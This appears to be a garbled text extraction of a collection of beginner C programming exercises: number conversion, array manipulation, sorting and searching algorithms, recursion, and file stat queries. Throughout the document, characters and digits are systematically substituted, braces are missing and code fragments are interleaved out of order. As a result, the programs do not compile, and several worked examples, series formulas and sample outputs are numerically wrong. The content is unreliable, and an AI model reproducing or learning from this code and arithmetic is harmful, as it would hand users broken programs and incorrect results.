"ecimal to binary conversion with e!ample: Por eJample +e +ant to con*ert decimal num/er 43 in the /inar!. 'tep 'tep 'tep 'tep 'tep 1# 4# 6# 2# 3# 43 14 1 6 1 R R R R R 4 4 4 4 4 Cemainder Cemainder Cemainder Cemainder Cemainder # # # # # 1 0 0 1 1 % % % % % Yuotient Yuotient Yuotient Yuotient Yuotient # # # # # 14 1 6 1 0

'o e;ui*alent /inar! num/er is# 11001 Ghat is (43)10 = (11001)4

C code for decimal to binary conversion: #include<stdio.h> int main(){ long int decimalIum/er%remainder%;uotient; int /inar!Ium/er[100]%i=1%>; printf(" nter an! decimal num/er# "); scanf("$ld"%<decimalIum/er); ;uotient = decimalIum/er; while(;uotient7=0){ /inar!Ium/er[i,,]= ;uotient $ 4; ;uotient = ;uotient R 4; printf(" ;ui*alent /inar! *alue of decimal num/er $d# "%decimalIum/er); for(> = i D1 ;>> 0;>DD) printf("$d"%/inar!Ium/er[>]); return 0;

Sample output: nter an! decimal num/er# 30 ;ui*alent /inar! *alue of 110010
*o comments+ 2ategory + Program

decimal

num/er

30#

$ program to find largest and smallest number in an array


C code to find largest and smallest number in an array

#include<stdio.h> int main(){ int a[30]%siQe%i%/i"%small; printf("9n nter the siQe of the arra!# "); scanf("$d"%<siQe); printf("9n nter $d elements in to the arra!# "% siQe); for(i=0;i<siQe;i,,) scanf("$d"%<a[i]); /i"=a[0]; for(i=1;i<siQe;i,,){ if(/i"<a[i]) /i"=a[i]; printf("Oar"est element# $d"%/i"); small=a[0]; for(i=1;i<siQe;i,,){ if(small>a[i]) small=a[i]; printf("'mallest element# $d"%small); return 0; 'ample .utput# nter the siQe of the arra!# 2 nter 2 elements in to the arra!# 4 L 5 1 Oar"est element# 5 'mallest element# 1
*o comments+ 2ategory + Program

%)S+&* A) +0M+)* %) A) A&&A4 A* .+S%&+. P(S%*%() -S%), $ P&(,&AM

#include<stdio.h> int main(){ int a[30]%siQe%num%i%pos%temp; printf("9n nter siQe of the arra!# "); scanf("$d"%<siQe); printf("9n nter $d elements in to the arra!# "%siQe); for(i=0;iscanf("$d"%<a[i]); printf("9n nter position and num/er to insert# "); scanf("$d $d"%<pos%<num); i=0; while(i7=posD1) i,,; temp=siQe,,; while(i{ a[temp]=a[tempD1]; tempDD; a[i]=num; for(i=0;iprintf(" $d"%a[i]); return 0; *o comments+ 2ategory + Program

.+0+*+ +0+M+)* F&(M A) A&&A4 A* .+S%&+. P(S%*%() -S%), $


rite a program 6wap7 to delete an element at desired position from an array in c language #include<stdio.h> int main(){ int a[30]%i%pos%siQe; printf("9n nter siQe of the arra!# "); scanf("$d"%<siQe); printf("9n nter $d elements in to the arra!# "%siQe); for(i=0;i<siQe;i,,)

scanf("$d"%<a[i]); printf("9n nter position +here to delete# "); scanf("$d"%<pos); i=0; +hile(i7=posD1) i,,; +hile(i<10){ a[i]=a[i,1]; i,,; siQeDD; for(i=0;i<siQe;i,,) printf(" $d"%a[i]); return 0; *o comments+ 2ategory + Program

&+M(/+ .-P0%$A*+ +0+M+)*S %) A) A&&A4 -S%), $ P&(,&AM


#include<stdio.h> int main(){ int arr[30]; int Bp; int i%>%=%siQe%n; printf("9n nter siQe of the arra!# "); scanf("$d"%<n); printf("9n nter $d elements into the arra!# "%n); for(i=0;i<n;i,,) scanf("$d"%<arr[i]); siQe=n; p=arr; for(i=0;i<siQe;i,,){ for(>=0;><siQe;>,,){ if(i==>){ continue;

else if(B(p,i)==B(p,>)){ ==>; siQeDD; while(= < siQe){ B(p,=)=B(p,=,1); =,,; >=0; printf("9nGhe arra! after remo*in" duplicates is# "); for(i=0;i < siQe;i,,){ printf(" $d"%arr[i]); return 0; *o comments+ 2ategory + Program

'rite a program to find out se ond smallest element of an unsorted array


C program to find the second smallest element in an array

#include<stdio.h> int main(){ int a[30]%siQe%i%>=0%small%secondsmall; printf(" nter the siQe of the arra!# "); scanf("$d"%<siQe); printf(" nter $d elements in to the arra!# "% siQe); for(i=0;i<siQe;i,,) scanf("$d"%<a[i]); small=a[0]; for(i=1;i<siQe;i,,){ if(small>a[i]){ small=a[i]; > = i;

secondsmall=a[siQeD>D1]; for(i=1;i<siQe;i,,){ if(secondsmall > a[i] << > 7= i) secondsmall =a[i]; printf("'econd smallest# $d"% secondsmall); return 0;

nter the siQe of the arra!# 3 nter 3 elements in to the arra!# 3 L 6 4 1 'econd smallest# 6
*o comments+ 2ategory + Program

F%). (-* S+$(). 0A&,+S* )-M2+& %) A) -)S(&*+. A&&A4 -S%), $ P&(,&AM


C program to find the second largest element in an array
#include<stdio.h> int main(){ int a[30]%siQe%i%>=0%/i"%second/i"; printf(" nter the siQe of the arra!# "); scanf("$d"%<siQe); printf(" nter $d elements in to the arra!# "% siQe); for(i=0;i<siQe;i,,) scanf("$d"%<a[i]); /i"=a[0]; for(i=1;i<siQe;i,,){ if(/i"<a[i]){ /i"=a[i]; > = i; -

second/i"=a[siQeD>D1]; for(i=1;i<siQe;i,,){ if(second/i" <a[i] << > 7= i) second/i" =a[i]; printf("'econd /i""est# $d"% second/i"); return 0; Sample output: nter the siQe of the arra!# 3 nter 3 elements in to the arra!# 3 6 4 1 0 'econd /i""est# 6

F%). (-* 0A&,+S* )-M2+& %) A) A&&A4 -S%), $ P&(,&AM


C program to find the largest element in an array
#include<stdio.h> int main(){ int a[30]%siQe%i%/i"; printf("9n nter the siQe of the arra!# "); scanf("$d"%<siQe); printf("9n nter $d elements in to the arra!# \% siQe); for(i=0;i<siQe;i,,) scanf("$d"%<a[i]); /i"=a[0]; for(i=1;i<siQe;i,,){ if(/i"<a[i]) /i"=a[i]; printf("9n:i""est# $d"%/i"); return 0; *o comments+ 2ategory + Program

'rite a series

program to find out the sum of infinite ,5P5

#include<stdio.h> int main(){ float a%r; float sum=0; printf(" nter the first num/er of the ].E. series# "); scanf("$f"%<a); printf(" nter the common ratio of ].E. series# "); scanf("$f"%<r); if(1 > r) sum = aR(1Dr); else sum = aR(rD1); printf("9n'um of the infinite ].E. series# $f"%sum); return 0; Sample output: nter the first num/er of the ].E. series# 1 nter the common ratio of ].E. series# .3 'um of the infinite ].E. series# 4.000000 nter the first num/er of the ].E. series# 3 nter the common ratio of ].E. series# 4 'um of the infinite ].E. series# 3.000000 "efinition of geometric progression 68(P(7: & series of num/ers in +hich ratio of an! t+o consecuti*e num/ers is al+a!s a same num/er that is constant. Ghis constant is called as common ratio. -!ample of 8(P( series: 4 2 5 11 64 12 [ere common difference is 4 since ratio an! t+o consecuti*e num/ers for eJample 64 R 11 or 12R64 is 4.

Sum of 8(P( series: 'n =a(1Mrn,1)R(1Dr) 9n term of 8(P( series: Gn = arnD1 Sum of infinite 8(P( series: 'n = aR(1Dr) if 1 > r = aR(rD1) if r > 1
*o comments+ 2ategory + Program

'rite a

program to find out the sum of ,5P series

#include<stdio.h> #include<math.h> int main(){ float a%r%i%tn; int n; float sum=0; printf(" nter the first num/er of the ].E. series# "); scanf("$f"%<a); printf(" nter the total num/ers in the ].E. series# "); scanf("$d"%<n); printf(" nter the common ratio of ].E. series# "); scanf("$f"%<r); sum = (aB(1 D po+(r%n,1)))R(1Dr); tn = a B (1 Dpo+(r%nD1)); printf("tn term of ].E.# $f"%tn); printf("9n'um of the ].E.# $f"%sum); return 0; Sample output: nter the first num/er of the ].E. series# 1 nter the total num/ers in the ].E. series# 3 nter the common ratio of ].E. series# 4 tn term of ].E. # 11.000000

'um of the ].E. # 16.000000 "efinition of geometric progression 68(P(7: & series of num/ers in +hich ratio of an! t+o consecuti*e num/ers is al+a!s a same num/er that is constant. Ghis constant is called as common ratio. -!ample of 8(P( series: 4 2 5 11 64 12 [ere common difference is 4 since ratio an! t+o consecuti*e num/ers for eJample 64 R 11 or 12R64 is 4. Sum of 8(P( series: 'n =a(1Mrn,1)R(1Dr) 9n term of 8(P( series: Gn = arnD1 Sum of infinite 8(P( series: 'n = aR(1Dr) if 1 > r = aR(rD1) if r > 1
*o comments+ 2ategory + Program

'rite a

program to find out the sum of in A5P5 series

#include<stdio.h> #include<math.h> int main(){ int a%d%n%i%tn; int sum=0; printf(" nter the first num/er of the &.E. series# "); scanf("$d"%<a); printf(" nter the total num/ers in the &.E. series# "); scanf("$d"%<n);

printf(" nter the common difference of &.E. series# "); scanf("$d"%<d); sum = ( n B ( 4 B a , ( n D1 ) B d ) )R 4; tn = a , (nD1) B d; printf("'um of the series &.E.# "); for(i=a;i<=tn; i= i , d ){ if (i 7= tn) printf("$d , "%i); else printf("$d = $d "%i%sum); return 0; Sample output: nter the first num/er of the &.E. series# 1 nter the total num/ers in the &.E. series# 3 nter the common difference of &.E. series# 6 'um of the series# 1 , 2 , L , 10 , 16 = 63 "efinition of arithmetic progression 6A(P(7: & series of num/ers in +hich difference of an! t+o consecuti*e num/ers is al+a!s a same num/er that is constant. Ghis constant is called as common difference. -!ample of A(P( series: 3 10 13 40 43 Z [ere common difference is 3 since difference of an! t+o consecuti*e num/ers for eJample 40 M 13 or 43 D40 is 3. Sum of A(P( series: 'n = nR4(4a , (nD1) d) 9n term of A(P( series:

Gn = a , (nD1) d
*o comments+ 2ategory + Program

'rite a program to find out the sum of series 678 9 :78 9 ;5 9 n78
rite a c program or code to find out the sum of series ':% ; #:% ; <( ; n:% that is sum of cube of n natural numbers( #include<stdio.h> #include<math.h> int main(){ int n%i; int sum=0; printf(" nter the n i.e. maJ *alues of series# "); scanf("$d"%<n); sum = po+(((n B (n , 1) ) R 4)%4); printf("'um of the series # "); for(i =1;i<=n;i,,){ if (i 7= n) printf("$dF6 , "%i); else printf("$dF6 = $d "%i%sum); return 0; 'ample output# nter the n i.e. maJ *alues of series# 6 'um of the series# 1F6 , 4F6 , 6F6 = 61 &athematical .ormula:
3um o& the series 18 0 78 0 88 0 < 0 n8 / (n (n01 =7 *o comments+ 2ategory + Program
7

'rite a program to find out the sum of series 67: 9 :7: 9 ;5 9 n7:5
#include<stdio.h> int main(){ int n%i;

int sum=0; printf(" nter the n i.e. maJ *alues of series# "); scanf("$d"%<n); sum = (n B (n , 1) B (4 B n , 1 )) R 1; printf("'um of the series # "); for(i =1;i<=n;i,,){ if (i 7= n) printf("$dF4 , "%i); else printf("$dF4 = $d "%i%sum); return 0;

Sample output: nter the n i.e. maJ *alues of series# 3 'um of the series# 1F4 , 4F4 , 6F4 , 2F4 , 3F4 = 33 &athematical .ormula: 'um of the series 14 , 44 , 64 , Z , n4 = n (n,1) (4n,1)R1
*o comments+ 2ategory + Program

'rite a ;5 9 n5

program to find out the sum of series 6 9 : 9

#include<stdio.h> int main(){ int n%i; int sum=0; printf(" nter the n i.e. maJ *alues of series# "); scanf("$d"%<n); sum = (n B (n , 1)) R 4; printf("'um of the series# "); for(i =1;i <= n;i,,){ if (i7=n) printf("$d , "%i); else

return 0;

printf("$d = $d "%i%sum);

Sample output: nter the n i.e. maJ *alues of series# 3 'um of the series# 1 , 4 , 6 , 2 , 3 = 13 &athematical .ormula: 'um of the series 1 , 4 , 6 , Z , n = n (n,1)R4
*o comments+ 2ategory + Program

'rite a program to find out the si!e and dri"e where file has stored of any gi"en file<
#include "time.h" #include "s!s9stat.h" #include "stdio.h" int main(){ struct stat status; P)O Bfp; fp=fopen("test.tJt"%"r"); fstat(fileno(fp)%<status); printf("'iQe of file # $d"%status.stUsiQe); printf("Hri*e name # $c"%13,status.stUde*); return 0; Jplanation# Punction int fstat (char B% struct stat B) store the information of open file in form of structure structstat 'tructure struct stat has /een defined in s!s9stat.h as struct stat { short stUde*% short stUmode% stUino; stUnlin=;

int short lon" lon" -;

stUuid% stU"id; stUrde*; stUsiQe% stUatime; stUmtime% stUctime;

[ere (a)stUde*# )t +hich dri*e of num/er.

descri/e file !our computer

has %it

stored in returns a

(/)stUmode# )t descri/es *arious modes of file li=e file is read onl!% +rite onl!% folder% character file etc. (c)stUsiQe# )t tells the siQe of file in /!te. (d)stUctime#)t tells last data of the file in date format. of modification

Iote# 13 is &'()) *alue of & .'o after addin" status.stUde* +ith 13 it +ill return appropriate dr*ie name as in !our computer.

'rite a program to =now the last date of modifi ation of any file
#include "time.h" #include "s!s9stat.h" #include "stdio.h" int main(){ struct stat status; P)O Bfp; fp=fopen("test.tJt"%"r"); fstat(fileno(fp)%<status); printf("Oast date of modification # $s"%ctime(<status.stUctime)); return 0; -

Jplanation# Punction int fstat(char B% struct stat B) store the information of open file in form of structurestruct stat 'tructure struct stat has /een defined in s!s9stat.h as struct stat { short stUde*% short stUmode% int stUuid% short stUrde*; lon" stUsiQe% lon" stUmtime% -; [ere stUino; stUnlin=; stU"id; stUatime; stUctime;

(e)stUde*# )t descri/e file has stored in +hich dri*e of !our computer. (f)stUmode# )t descri/es *arious li=e file is read onl!% +rite character file etc. modes of file onl!% folder%

(")stUsiQe# )t tells the siQe of file in /!te. (h)stUctime#)t tells last data of modification of the file in date format. Punction ctime con*ert date t!pe in strin" format
*o comments+ 2ategory + Program

'rite a program to =now read>write permission of gi"en file5


#include "time.h" #include "s!s9stat.h" #include "stdio.h" *oid main(){ struct stat status;

P)O Bfp; stat("test.tJt"%<status); clrscr(); if (status.stUmode < 'U)C &H) printf("^ou ha*e read permission.9n"); if (status.stUmode < 'U)SC)G ) printf("^ou ha*e +rite permission."); "etch(); Jplanation# Punction int stat(char B% struct stat B) store the information of open file in form of structure structstat 'tructure struct stat has /een defined in s!s9stat.h as struct stat { short stUde*% stUino; short stUmode% stUnlin=; int stUuid% stU"id; short stUrde*; lon" stUsiQe% stUatime; lon" stUmtime% stUctime; -; [ere (i)st=dev# )t descri/e file has stored in +hich dri*e of !our computer. (>)st=mode# )t descri/e *arious mode of file li=e file is read onl!% +rite onl!% folder% character file etc. (=)st=si/e# )t tells the siQe of file in /!te. (l)St=ctime#)t tells last data of modification of the file. Ghere are some macro has /een defined in sys>stat(h ?ame &eaning 'U)P@G Pile t!pe mas= 'U)PH)C Hirector!

'U)P)P. P)P. special 'U)P([C (haracter special 'U)P:O_ :loc= special 'U)PC ] Ce"ular file 'U)C &H .+ner can read 'U)SC)G .+ner can +rite 'U) A ( .+ner can eJecute 'o mas=in" or /it +ise and operation /et+een status.stUmode and 'U)C &H return true !ou ha*e read permission and so on
*o comments+ 2ategory + Program

'rite a program to =now gi"en file is regular file? hara ter spe ial or it is dire tory<
#include "time.h" #include "s!s9stat.h" #include "stdio.h" *oid main(){ struct stat status; P)O Bfp; stat("c#99tc99/in"%<status); clrscr(); if (status.stUmode < 'U)PH)C) printf(")t is director!.9n"); if (status.stUmode < 'U)P([C) printf(")t is chracter file."); if (status.stUmode < 'U)PC ]) printf(")t is re""ular file."); "etch(); .utput# )t is director!. Jplanation# Punction int stat (char B% struct stat B) store the information of open file in form of structure structstat 'tructure struct stat has /een defined in s!s9stat.h as

struct stat { short stUde*% short stUmode% int stUuid% short stUrde*; lon" stUsiQe% lon" stUmtime% -; [ere

stUino; stUnlin=; stU"id; stUatime; stUctime;

(m)st=dev: )t descri/e file +hich dri*e of !our computer.

has

stored

in

(n)st=mode# )t descri/es *arious modes of file li=e file is read onl!% +rite onl!% folder% character file etc. (o)st=si/e# )t tells the siQe of file in /!te. (p)St=ctime#)t tells last data of modification of the file. Ghere are some macro has /een defined in s!s9stat.h ?ame &eaning 'U)P@G Pile t!pe mas= 'U)PH)C Hirector! 'U)P)P. P)P. special 'U)P([C (haracter special 'U)P:O_ :loc= special 'U)PC ] Ce"ular file 'U)C &H .+ner can read 'U)SC)G .+ner can +rite 'U) A ( .+ner can eJecute 'o mas=in" or /it+ise and operation /et+een status.stUmode and 'U)PH)C return true if it is director! and so on
*o comments+ 2ategory + Program

'&%*+ A $ P&(,&AM *( F%). S%@+ (F A F%0+


#include <time.h> #include <s!s9stat.h> #include <stdio.h>

*oid main() { struct stat status; P)O Bfp; fp=fopen("test.tJt"%"r"); fstat(fileno(fp)%<status); clrscr(); printf("'iQe of file # $d"%status.stUsiQe); printf("Hri*e name # $c"%13,status.stUde*); "etch(); Jplanation# Punction int fstat (char B% struct stat B) store the information of open file in form of structure struct stat 'tructure struct stat has /een defined in s!s9stat.h as struct stat { short stUde*% short stUmode% int stUuid% short stUrde*; lon" stUsiQe% lon" stUmtime% -; [ere (a)st=dev# )t +hich dri*e of num/er. descri/e file !our computer has %it stored in returns a stUino; stUnlin=; stU"id; stUatime; stUctime;

(/)st=mode# )t descri/es file li=e file is read folder% character file etc.

*arious modes of onl!% +rite onl!%

(c)st=si/e# )t tells the siQe of file in /!te.

(d)st=ctime#)t tells last data of the file in date format.

of

modification

Iote# 13 is &'()) *alue of & .'o after addin" status.stUde* +ith 13 it +ill return appropriate dr*ie name as in !our computer.
*o comments+ 2ategory + Program

$()$A*+)A*+ MA)4 F%0+S A). S*(&+ *H+M %) A F%0+ %) $

Concatenate many files and store them in a file in c programming language #include<stdio.h> *oid concatenate(P)O Bfp1%P)O Bfp4%charBar"*[]%int ar"c); int main(int ar"c%char Bar"*[]){ P)O Bfp1%Bfp4; concatenate(fp1%fp4%ar"*%ar"c); return 0; *oid concatenate(P)O Bfp1%P)O Bfp4%char BBar"*%intar"c){ int i%ch; fp4=fopen("files"%"a"); for(i=1;i<ar"cD1;i,,){ fp1=fopen(ar"*[i]%"r"); +hile((ch="etc(fp1))7= .P) putc(ch%fp4); fcloseall(); *o comments+ 2ategory + Program

'&%*%), (F +)*%&+ A&&A4 *( A F%0+ -S%), $ P&(,&AM

riting of entire array to a file using c program #include<stdio.h> int main(){ P)O Bp; int i%a[10]; if((p=fopen("m!file.dat"%"+/"))==INOO){ printf("9nNna/le to open file m!file.dat"); eJit(1); printf("9n nter ten *alues% one *alue on each line9n"); for(i=0;i<10;i,,) scanf("$d"%<a[i]); f+rite(a%siQeof(a)%1%p); fclose(p); return 0; *o comments+ 2ategory + Program

How to read a te#t file by


#include<stdio.h>

program

int main(){ char str[L0]; P)O Bp; if((p=fopen("strin".tJt"%"r"))==INOO){ printf("9nNna/le t open file strin".tJt"); eJit(1); while(f"ets(str%L0%p)7=INOO) puts(str); fclose(p); return 0; *o comments+ 2ategory + Program

.%SP0A4 S(-&$+ $(.+ AS (-*P-* %) $ P&(,&AM


#include<stdio.h>

int main(){ P)O Bp; char ch; p=fopen("filedemo.c"%"r"); +hile((ch="etc(p))7=D1) putchar(ch); fclose(p); return 0; *o comments+ 2ategory + Program

$(P4 .A*A F&(M ()+ F%0+ *( A)(*H+& F%0+ -S%), $ P&(,&AM


#include<stdio.h> int main(){ P)O Bp%B;; char file1[40]%file4[40]; char ch; printf("9n nter the source file name to /e copied#"); "ets(file1); p=fopen(file1%"r"); if(p==INOO){ printf("cannot open $s"%file1); eJit(0); printf("9n nter the destination file name#"); "ets(file4); ;=fopen(file4%"+"); if(;==INOO){ printf("cannot open $s"%file4); eJit(0); while((ch="etc(p))7= .P) putc(ch%;); printf("9n(.@EO G H"); fclose(p); fclose(;);

return 0;

$&+A*+ A F%0+ A). S*(&+ .A*A %) %* %) $ P&(,&AM


C program to create a file C program to write to a file C program to open a file #include<stdio.h> int main(){ P)O Bfp; char ch; fp=fopen("file.tJt"%"+"); printf("9n nter data to /e stored in to the file#"); +hile((ch="etchar())7= .P) putc(ch%fp); fclose(fp); return 0; *o comments+ 2ategory + Program

sorting of array using pointer in


rite a c program for sorting of array using pointer(
int main(){ int i%>%temp1%temp4; int arr[5]={3%6%0%4%14%1%66%4-; int Bptr; for(i=0;i<L;i,,){ for(>=0;><LDi;>,,){ if(B(arr,>)>B(arr,>,1)){ ptr=arr,>; temp1=Bptr,,; temp4=Bptr; BptrDD=temp1; Bptr=temp4; for(i=0;i<5;i,,) printf(" $d"%arr[i]); .utput# 0 1 4 4 6 3 14 66

*o comments+ 2ategory + Pointers 6utorial" Program

Merge sort program in


Source code of simple merge sort implementation using array in ascending order in c programming language #include<stdio.h> #define @&A 30 *oid mer"e'ort(int arr[]%int lo+%int mid%int hi"h); *oid partition(int arr[]%int lo+%int hi"h); int main(){ int mer"e[@&A]%i%n; printf(" nter the total num/er of elements# "); scanf("$d"%<n); printf(" nter the elements +hich to /e sort#

");

*oid partition(int arr[]%int lo+%int hi"h){ int mid; if(lo+<hi"h){ mid=(lo+,hi"h)R4; partition(arr%lo+%mid); partition(arr%mid,1%hi"h); mer"e'ort(arr%lo+%mid%hi"h); *oid mer"e'ort(int arr[]%int lo+%int mid%int hi"h){ int i%m%=%l%temp[@&A]; l=lo+;

for(i=0;i<n;i,,){ scanf("$d"%<mer"e[i]); partition(mer"e%0%nD1); printf("&fter mer"e sortin" elements are# "); for(i=0;i<n;i,,){ printf("$d "%mer"e[i]); return 0;

i=lo+; m=mid,1; +hile((l<=mid)<<(m<=hi"h)){ if(arr[l]<=arr[m]){ temp[i]=arr[l]; l,,; else{ temp[i]=arr[m]; m,,; i,,; if(l>mid){ for(==m;=<=hi"h;=,,){ temp[i]=arr[=]; i,,; else{ for(==l;=<=mid;=,,){ temp[i]=arr[=]; i,,; for(==lo+;=<=hi"h;=,,){ arr[=]=temp[=]; -

Sample output: nter the total num/er of elements# 3 nter the elements +hich to /e sort# 4 3 0 0 1 &fter mer"e sortin" elements are# 0 1 4 3 0
*o comments+ 2ategory + Program

Q-%$A S(&* -S%), $ P&(,&AM


Source code of simple 0uic5 sort implementation

using array language

ascending

order

in

programming

#include<stdio.h> *oid ;uic=sort(int [10]%int%int); int main(){ int J[40]%siQe%i; printf(" nter siQe of the arra!# "); scanf("$d"%<siQe); printf(" nter $d elements# "%siQe); for(i=0;i<siQe;i,,) scanf("$d"%<J[i]); ;uic=sort(J%0%siQeD1); printf("'orted elements# "); for(i=0;i<siQe;i,,) printf(" $d"%J[i]); return 0; *oid ;uic=sort(int J[10]%int first%int last){ int pi*ot%>%temp%i; if(first<last){ pi*ot=first; i=first; >=last; +hile(i<>){ +hile(J[i]<=J[pi*ot]<<i<last) i,,; +hile(J[>]>J[pi*ot]) >DD; if(i<>){ temp=J[i]; J[i]=J[>]; J[>]=temp; temp=J[pi*ot]; J[pi*ot]=J[>]; J[>]=temp; ;uic=sort(J%first%>D1); ;uic=sort(J%>,1%last); -

.utput# nter siQe of the arra!# 3 nter 3 elements# 6 5 0 1 4 'orted elements# 0 1 4 6 5


*o comments+ 2ategory + Program

S+0+$*%() S(&* -S%), $ P&(,&AM


Source code of simple Selection sort implementation using array ascending order in c programming language #include<stdio.h> int main(){ int s%i%>%temp%a[40]; printf(" nter total elements# "); scanf("$d"%<s); printf(" nter $d elements# "%s); for(i=0;i<s;i,,) scanf("$d"%<a[i]); for(i=0;i<s;i,,){ for(>=i,1;><s;>,,){ if(a[i]>a[>]){ temp=a[i]; a[i]=a[>]; a[>]=temp; printf("&fter sortin" is# "); for(i=0;i<s;i,,) printf(" $d"%a[i]); return 0; .utput# nter total elements# 3 nter 3 elements# 2 3 0 41 L

Ghe arra! after sortin" is#


*o comments+ 2ategory + Program

0 2 3 L 41

$ P&(,&AM F(& %)S+&*%() S(&*


Source code of simple insertion sort implementation using array in ascending order in c programming language #include<stdio.h> int main(){ int i%>%s%temp%a[40]; printf(" nter total elements# "); scanf("$d"%<s); printf(" nter $d elements# "%s); for(i=0;i<s;i,,) scanf("$d"%<a[i]); for(i=1;i<s;i,,){ temp=a[i]; >=iD1; +hile((temp<a[>])<<(>>=0)){ a[>,1]=a[>]; >=>D1; a[>,1]=temp; printf("&fter sortin"# "); for(i=0;i<s;i,,) printf(" $d"%a[i]); return 0; .utput# nter total elements# 3 nter 3 elements# 6 L 0 0 4 &fter sortin"# 0 4 6 L 0
*o comments+ 2ategory + Program

2-220+ S(&* -S%), $ P&(,&AM


Source code of simple bubble sort implementation

using array language

ascending

order

in

programming

#include<stdio.h> int main(){ int s%temp%i%>%a[40]; printf(" nter total num/ers of elements# "); scanf("$d"%<s); printf(" nter $d elements# "%s); for(i=0;i<s;i,,) scanf("$d"%<a[i]); RR:u//le sortin" al"orithm for(i=sD4;i>=0;iDD){ for(>=0;><=i;>,,){ if(a[>]>a[>,1]){ temp=a[>]; a[>]=a[>,1]; a[>,1]=temp; printf("&fter sortin"# "); for(i=0;i<s;i,,) printf(" $d"%a[i]); return 0; .utput# nter total num/ers of elements# 3 nter 3 elements# 1 4 0 11 0 &fter sortin"# 0 4 1 0 11
*o comments+ 2ategory + Program

&+/+&S+ A )-M2+& -S%), &+$-&S%() %) $ P&(,&AM


Reverse a number using recursion in c program #include<stdio.h> int main(){ int num%re*;

int sum=0%r; re*erse(int num){ if(num){ r=num$10; sum=sumB10,r; re*erse(numR10); else return sum; return sum; *o comments+ 2ategory + Program

printf("9n nter a num/er #"); scanf("$d"%<num); re*=re*erse(num); printf("9n&fter re*erse the no is #$d"%re*); return 0;

F%). P('+& (F A )-M2+& -S%), &+$-&S%() -S%), $ P&(,&AM


.ind power program of a number using recursion using c

#include<stdio.h> int main(){ int po+%num; lon" int res; lon" int po+er(int%int); printf("9n nter a num/er# "); scanf("$d"%<num); printf("9n nter po+er# "); scanf("$d"%<po+); res=po+er(num%po+); printf("9n$d to the po+er $d is# $ld"%num%po+%res); return 0; int i=1;

lon" int sum=1; lon" int po+er(int num%int po+){ if(i<=po+){ sum=sumBnum; po+er(num%po+D1); else return sum; -

F%). S-M (F .%,%*S (F A )-M2+& -S%), &+$-&S%() -S%), $ P&(,&AM


Sum of digits in c using recursion

#include<stdio.h> int main(){ int num%J; clrscr(); printf("9n nter a num/er# "); scanf("$d"%<num); J=findsum(num); printf("'um of the di"its of $d is# $d"%num%J); return 0; int r%s; int findsum(int n){ if(n){ r=n$10; s=s,r; findsum(nR10); else return s; *o comments+ 2ategory + Program

F%). ,$. (F A )-M2+& -S%), &+$-&S%() %) $ P&(,&AM


#include<stdio.h> int main(){

int n1%n4%"cd; printf("9n nter t+o num/ers# "); scanf("$d $d"%<n1%<n4); "cd=find"cd(n1%n4); printf("9n](H of $d and $d is# $d"%n1%n4%"cd); return 0; int findgcd(int J%int !){ while(J7=!){ if(J>!) return find"cd(JD!%!); else return find"cd(J%!DJ); return J; *o comments+ 2ategory + Program

F%). FA$*(&%A0 (F A )-M2+& -S%), &+$-&S%() %) $ P&(,&AM


'( .actorial program by recursion in c #( .actorial program in c using recursion %( C program to calculate factorial using recursion )( Recursive function for factorial in c #include<stdio.h> int fact(int); int main(){ int num%f; printf("9n nter a num/er# "); scanf("$d"%<num); f=fact(num); printf("9nPactorial of $d is# $d"%num%f); return 0; int fact(int n){

if(n==1) return 1; else return(nBfact(nD1)); *o comments+ 2ategory + Program

'rite a program to find the si!e of union without using si!eof operator
#include<stdio.h> union student{ int roll; char name[100]; float mar=s; -; int main(){ union student Bptr = 0; ptr,,; printf("'iQe of the union student# return 0; *o comments+ 2ategory + Program

$d"%ptr);

'rite a program to find the si!e of stru ture without using si!eof operator
#include<stdio.h> struct student{ int roll; char name[100]; float mar=s; -; int main(){ struct student Bptr = 0; ptr,,; printf("'iQe of the structure student# return 0; *o comments+ 2ategory + Program

$d"%ptr);

'rite a program to find the si!e of double without using si!eof operator
#include<stdio.h> int main(){ double Bptr = 0; ptr,,; printf("'iQe of dou/le data t!pe# return 0; *o comments+ 2ategory + Program

$d"%ptr);

'rite a program to find the si!e of int without using si!eof operator
#include<stdio.h> int main(){ int Bptr = 0; ptr,,; printf("'iQe of int data t!pe# return 0; *o comments+ 2ategory + Program

$d"%ptr);

2%)A&4 S+A&$H *H&(-,H &+$-&S%() -S%), $ P&(,&AM


rite a simple code for binary search using function recursion in c programming language #include<stdio.h> int main(){ int a[10]%i%n%m%c%l%u; printf(" nter the siQe of an arra!# ");
scanf("%d",&n);

printf(" nter the elements of the arra!# " ); for(i=0;i<n;i,,){ scanf("$d"%<a[i]); printf(" nter the num/er to /e search# "); scanf("$d"%<m);

int /inar!(int a[]%int n%int m%int l%int u){ int mid%c=0; if(l<=u){ mid=(l,u)R4; if(m==a[mid]){ c=1; else if(m<a[mid]){ return /inar!(a%n%m%l%midD1); else return /inar!(a%n%m%mid,1%u); else return c; 'ample output# nter the nter the nter the Ium/er is siQe of an arra!# 3 elements of the arra!# 5 0 10 11 14 num/er to /e search# 5 found.

l=0%u=nD1; c=/inar!(a%n%m%l%u); if(c==0) printf("Ium/er is not found."); else printf("Ium/er is found."); return 0;

*o comments+ 2ategory + Program

2%)A&4 S+A&$H -S%), $ P&(,&AM


1. rite a simple code for binary search in c programming language
4. ap a c program to search an element in an array using binary search

#include<stdio.h> int main(){ int a[10]%i%n%m%c=0%l%u%mid; printf(" nter the siQe of an arra!# "); scanf("$d"%<n); printf(" nter the elements in ascendin" order# "); for(i=0;i<n;i,,){ scanf("$d"%<a[i]); printf(" nter the num/er to /e search# "); scanf("$d"%<m); l=0%u=nD1; +hile(l<=u){ mid=(l,u)R4; if(m==a[mid]){ c=1; /rea=; else if(m<a[mid]){ u=midD1; else l=mid,1; if(c==0) printf("Ghe num/er is not found."); else printf("Ghe num/er is found."); return 0; 'ample output# nter the siQe of an arra!# 3 nter the elements in ascendin" order# 2 L 5 11 41 nter the num/er to /e search# 11 Ghe num/er is found.
*o comments+

2ategory + Program

0%)+A& S+A&$H -S%), $ P&(,&AM


'( rite a simple code programming language for linear search in c

#( ap a c program to search an element in an array using linear search #include<stdio.h> int main(){ int a[10]%i%n%m%c=0; printf(" nter the siQe of an arra!# "); scanf("$d"%<n); printf(" nter the elements of the arra!# "); for(i=0;i<=nD1;i,,){ scanf("$d"%<a[i]); printf(" nter the num/er to /e search# "); scanf("$d"%<m); for(i=0;i<=nD1;i,,){ if(a[i]==m){ c=1; /rea=; if(c==0) printf("Ghe num/er is not in the list"); else printf("Ghe num/er is found"); return 0; Sample output: nter the siQe of an arra!# 3 nter the elements of the arra!# 2 1 5 0 6 nter the num/er to /e search# 0 Ghe num/er is found
*o comments+ 2ategory + Program

